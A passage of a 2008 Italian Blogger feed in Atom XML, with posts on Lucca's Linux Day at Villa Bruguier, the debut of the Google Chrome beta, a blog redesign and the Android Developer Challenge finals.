center; cursor: pointer; width: 100px; height: 119px;" src="http://www.luccalug.it/images/7/75/Linuxday_fullcolor.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Vorrei subito partire con un applauso al PD che ha organizzato il suo raduno di parole vuote esattamente il giorno del Linux Day. Io fossi in loro mi documenterei, quando poi vanno a fare campagne dicendo di sostenere il Free Software.&lt;br /&gt;&lt;br /&gt;Chiusa questa piccola parentesi do il rilievo che si merita il LuccaLug che dopo il 4 agosto, torna a farsi sentire rivelando dettagli fondamentali sul prossimo Linux Day che seguirò insieme alla mia ragazza che si sta avvicinando sempre di più al Free Software e mi accompagna in questi eventi.&lt;br /&gt;&lt;br /&gt;Prima notizia fondamentale è la sede, una cornice meravigliosa degna di un evento di tale importanza: la &lt;a href="http://www.villabruguier.com/ita/lalimo.html"&gt;villa Bruguier&lt;/a&gt; a Capannori. Visitando il sito si resta certamente affascinati da questo spettacolare posto.&lt;br /&gt;&lt;br /&gt;Seconda notizia sono gli eventi e gli stand che si troveranno all'interno dell'evento: &lt;a href="http://www.luccalug.it/wiki/Linuxday_2008#Programma_conferenze"&gt;a questo link&lt;/a&gt; è possibile consultare il programma che tra gli altri propone anche un interessante talk sul mondo open source. Fra gli stand spicca quello in cui sarà possibile provare TORCS, un simulatore di automobilismo completamente open source.&lt;br /&gt;&lt;br /&gt;Insomma si preannuncia un evento succoso da bere tutto d'un fiato.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6671425038196496703?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6671425038196496703/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6671425038196496703' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6671425038196496703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6671425038196496703'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/linux-day-2008-ulteriori-informazioni.html' title='Linux Day 2008 - Ulteriori informazioni'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7891507728488041922</id><published>2008-09-02T22:15:00.003+02:00</published><updated>2008-09-02T22:36:48.232+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google Chrome è fra noi</title><content type='html'>Dopo molto vociare oggi, 2 settembre 2008, fa il suo debutto il browser di Google chiamato Chrome.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.google.com/chrome/intl/en/images/logo_sm.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 150px; height: 55px;" src="http://www.google.com/chrome/intl/en/images/logo_sm.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Subito una brutta notizia, la beta è, per il momento, solo per la piattaforma Windows. Ma non disperiamo così facilmente, Google si sta impegnando per portare il suo prodotto su Gnu/Linux.&lt;br /&gt;&lt;br /&gt;Questa beta sembra nettamente più veloce degli altri browser e lascia moltissimo spazio alle pagine web fornendo un'interfaccia essenziale in pieno stile Google.&lt;br /&gt;&lt;br /&gt;Queste sono le prime impressioni per quanto riguarda questo nuovo prodotto che promette di fare una concorrenza spietata a Firefox e Internet Explorer.&lt;br /&gt;&lt;br /&gt;Ah... E' open source ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7891507728488041922?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7891507728488041922/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7891507728488041922' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7891507728488041922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7891507728488041922'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/google-chrome-fra-noi.html' title='Google Chrome è fra noi'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2552549744545815097</id><published>2008-09-02T16:53:00.003+02:00</published><updated>2008-09-02T17:00:24.822+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Un piccolo cambio di stile</title><content type='html'>Si nota appena si apre la pagina: il layout è cambiato.&lt;br /&gt;&lt;br /&gt;Ho deciso di rendere questo blog un po' più serio per poter consultare meglio i suoi contenuti.&lt;br /&gt;&lt;br /&gt;Anche l'header è cambiato: "Conquer your freedom" mi sembra la frase più giusta per descrivere il periodo che stiamo attraversando, fatto di censure, chiusure e poteri che cercano di influire su fette di internet.&lt;br /&gt;&lt;br /&gt;Bisogna conquistarla perchè è da sempre che funziona così. Di base nessuno regalerà mai la libertà, va conquistata passo passo con logica e con la convinzione che se le cose vanno avanti così, si perde tutti qualcosa.&lt;br /&gt;&lt;br /&gt;Spero di potervi tenere compagnia in questo anno che si preannuncia ricco di succose novità a cominciare dal nuovo browser di Google che sta per arrivare sui nostri computer. &lt;br /&gt;&lt;br /&gt;Stay tuned ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2552549744545815097?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2552549744545815097/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2552549744545815097' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2552549744545815097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2552549744545815097'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/un-piccolo-cambio-di-stile.html' title='Un piccolo cambio di stile'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2711148873561680666</id><published>2008-08-30T09:27:00.004+02:00</published><updated>2008-08-30T09:33:53.920+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Android Developer Challenge - Fase finale</title><content type='html'>Mentre Google cerca di portare a termine la sua piattaforma per smart phone con mille difficoltà che recentemente l'hanno spinta a rimandare la data di uscita del prodotto, si è arrivati alle fasi finali del concorso.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-e06f1q-QQE/SLcdjvXWN2I/AAAAAAAAAGc/kkSvcvrRWok/s320/android_adc.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://2.bp.blogspot.com/_-e06f1q-QQE/SLcdjvXWN2I/AAAAAAAAAGc/kkSvcvrRWok/s320/android_adc.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A &lt;a href="http://code.google.com/android/adc_gallery/"&gt;questo indirizzo&lt;/a&gt;, è possibile guardare i progetti che hanno già vinto una cospicua somma e i finalisti. Non ce che dire, programmatori di tutto il mondo hanno tirato fuori una quantità imprevedibile di programmi che sicuramente andranno ad arricchire il sistema operativo che promette di inasprire la concorrenza all'iphone.&lt;br /&gt;&lt;br /&gt;Giusto per ricordare, perchè mai cose di questo genere vanno dimenticate: l'Italia non ha potuto partecipare a questo concorso con premi da 100.000 $ per la sua meravigliosa legislazione.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2711148873561680666?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2711148873561680666/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2711148873561680666' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2711148873561680666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2711148873561680666'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/08/android-developer-challenge-fase-finale.html' title='Android Developer Challenge - Fase finale'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-e06f1q-QQE/SLcdjvXWN2I/AAAAAAAAAGc/kkSvcvrRWok/s72-c/android_adc.gif' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
